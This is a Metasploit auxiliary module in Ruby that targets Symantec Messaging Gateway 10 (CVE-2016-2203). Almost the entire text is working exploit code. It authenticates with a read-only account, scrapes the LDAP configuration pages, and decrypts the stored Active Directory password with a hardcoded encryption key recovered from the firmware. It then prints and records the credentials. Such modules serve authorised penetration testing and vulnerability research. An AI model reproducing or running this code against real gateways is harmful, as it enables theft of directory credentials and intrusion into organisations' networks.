add symantec bright mail ldap creds
Karim Reda Fakhir
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dfb2b95e46
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5adf5be983
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require "base64"
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require 'digest'
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require "openssl"
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class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Symantec Messaging Gateway 10 LDAP Creds Graber',
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'Description' => %q{
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This module will grab the AD account saved in Symantec Messaging Gateway and then decipher it using the disclosed symantec pbe key. Note that authentication is required in order to successfully grab the LDAP credentials, you need at least a read account.
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},
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'References' =>
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[
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'https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00',
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'CVE-2016-2203'
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],
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'Author' =>
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[
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'Fakhir Karim Reda <karim.fakhir[at]gmail.com>',
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'zirsalem'
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],
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'DefaultOptions' =>
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{
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'SSL' => true,
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'SSLVersion' => 'TLS1',
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'RPORT' => 443
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},
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'License' => MSF_LICENSE,
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'DisclosureDate' => "Dec 17 2015"
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))
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register_options(
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[
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OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1]),
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Opt::RPORT(443),
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OptString.new('USERNAME', [true, 'The username to login as']),
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OptString.new('PASSWORD', [true, 'The password to login with'])
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], self.class)
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deregister_options('RHOST')
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: 'LDAP',
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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last_attempted_at: DateTime.now,
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::SUCCESSFUL,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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def auth(username, password, sid, last_login)
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# Real JSESSIONID cookie
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sid2 = ''
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => '/brightmail/login.do',
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'headers' => {
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'Referer' => "https://#{peer}/brightmail/viewLogin.do",
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'Connection' => 'keep-alive'
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},
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'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
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'vars_post' => {
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'lastlogin' => last_login,
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'userLocale' => '',
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'lang' => 'en_US',
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'username' => username,
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'password' => password,
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'loginBtn' => 'Login'
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}
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})
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if res.body =~ /Logged in/
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sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
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return sid2
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end
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if res and res.headers['Location']
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mlocation = res.headers['Location']
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new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
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res = send_request_cgi({
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'uri' => new_uri,
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'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
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})
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sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
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return sid2 if res and res.body =~ /Logged in/
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end
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return false
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end
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def get_login_data
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sid = '' #From cookie
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last_login = '' #A hidden field in the login page
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res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
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if res and !res.get_cookies.empty?
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sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
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end
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if res
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last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
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end
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return sid, last_login
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end
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def port_open?
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begin
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res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT'])
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return true if res
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rescue ::Rex::ConnectionRefused
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vprint_status("#{peer} - Connection refused")
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return false
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rescue ::Rex::ConnectionError
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vprint_error("#{peer} - Connection failed")
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return false
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rescue ::OpenSSL::SSL::SSLError
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vprint_error("#{peer} - SSL/TLS connection error")
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return false
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end
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end
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def get_derived_key(password, salt, count)
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key = password + salt
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for i in 0..count-1
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key = Digest::MD5.digest(key)
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end
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kl = key.length
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return key[0,8], key[8,kl]
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end
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# Algorithm obtained by reversing the firmware
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def decrypt(enc_str)
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pbe_key="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-="
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salt = (Base64.strict_decode64(enc_str[0,12]))
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remsg = (Base64.strict_decode64(enc_str[12,enc_str.length]))
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(dk, iv) = get_derived_key(pbe_key, salt, 1000)
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alg = "des-cbc"
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decode_cipher = OpenSSL::Cipher::Cipher.new(alg)
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decode_cipher.decrypt
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decode_cipher.padding = 0
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decode_cipher.key = dk
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decode_cipher.iv = iv
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plain = decode_cipher.update(remsg)
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plain << decode_cipher.final
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return plain.gsub(/[\x01-\x08]/,'')
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end
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def grab_auths(sid,last_login)
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token = '' #from hidden input
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selected_ldap = '' # from checkbox input
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new_uri = '' # redirection
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flow_id = '' # id of the flow
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folder = '' # symantec folder
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
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'headers' => {
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'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
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'Connection' => 'keep-alive'
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},
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'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};"
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})
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if res
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token = res.body.scan(/<input type="hidden" name="symantec.brightmail.key.TOKEN" value="(.+)"\/>/).flatten[0] || ''
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selected_ldap = res.body.scan(/<input type="checkbox" value="(.+)" name="selectedLDAP".+\/>/).flatten[0] || ''
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else
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return false
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end
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "/brightmail/setting/ldap/LdapWizardFlow$edit.flo",
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'headers' => {
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'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
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'Connection' => 'keep-alive'
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},
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'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
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'vars_post' => {
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'flowId' => '0',
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'userLocale' => '',
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'lang' => 'en_US',
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'symantec.brightmail.key.TOKEN'=> "#{token}",
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'selectedLDAP' => "#{selected_ldap}"
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}
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})
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if res and res.headers['Location']
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mlocation = res.headers['Location']
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new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0]
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flow_id = new_uri.scan(/.*\?flowId=(.+)/).flatten[0]
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folder = new_uri.scan(/(.*)\?flowId=.*/).flatten[0]
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else
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return false
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end
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "#{folder}",
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'headers' => {
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'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
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'Connection' => 'keep-alive'
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},
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'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
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'vars_get' => {
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'flowId' => "#{flow_id}",
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'userLocale' => '',
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'lang' => 'en_US'
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}
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})
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if res and res.code == 200
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login = res.body.scan(/<input type="text" name="userName".*value="(.+)"\/>/).flatten[0] || ''
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password = res.body.scan(/<input type="password" name="password".*value="(.+)"\/>/).flatten[0] || ''
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host = res.body.scan(/<input name="host" id="host" type="text" value="(.+)" class/).flatten[0] || ''
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port = res.body.scan(/<input name="port" id="port" type="text" value="(.+)" class/).flatten[0] || ''
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password = decrypt(password)
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print_good("Found login = '#{login}' password = '#{password}' host ='#{host}' port = '#{port}' ")
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report_cred(ip: host, port: port, user:login, password: password, proof: res.code.to_s)
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end
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end
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def run_host(ip)
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return unless port_open?
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sid, last_login = get_login_data
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if sid.empty? or last_login.empty?
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print_error("#{peer} - Missing required login data. Cannot continue.")
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return
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end
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username = datastore['USERNAME']
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password = datastore['PASSWORD']
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sid = auth(username, password, sid, last_login)
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if not sid
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print_error("#{peer} - Unable to login. Cannot continue.")
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return
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else
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print_good("#{peer} - Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'")
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end
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grab_auths(sid,last_login)
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end
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end
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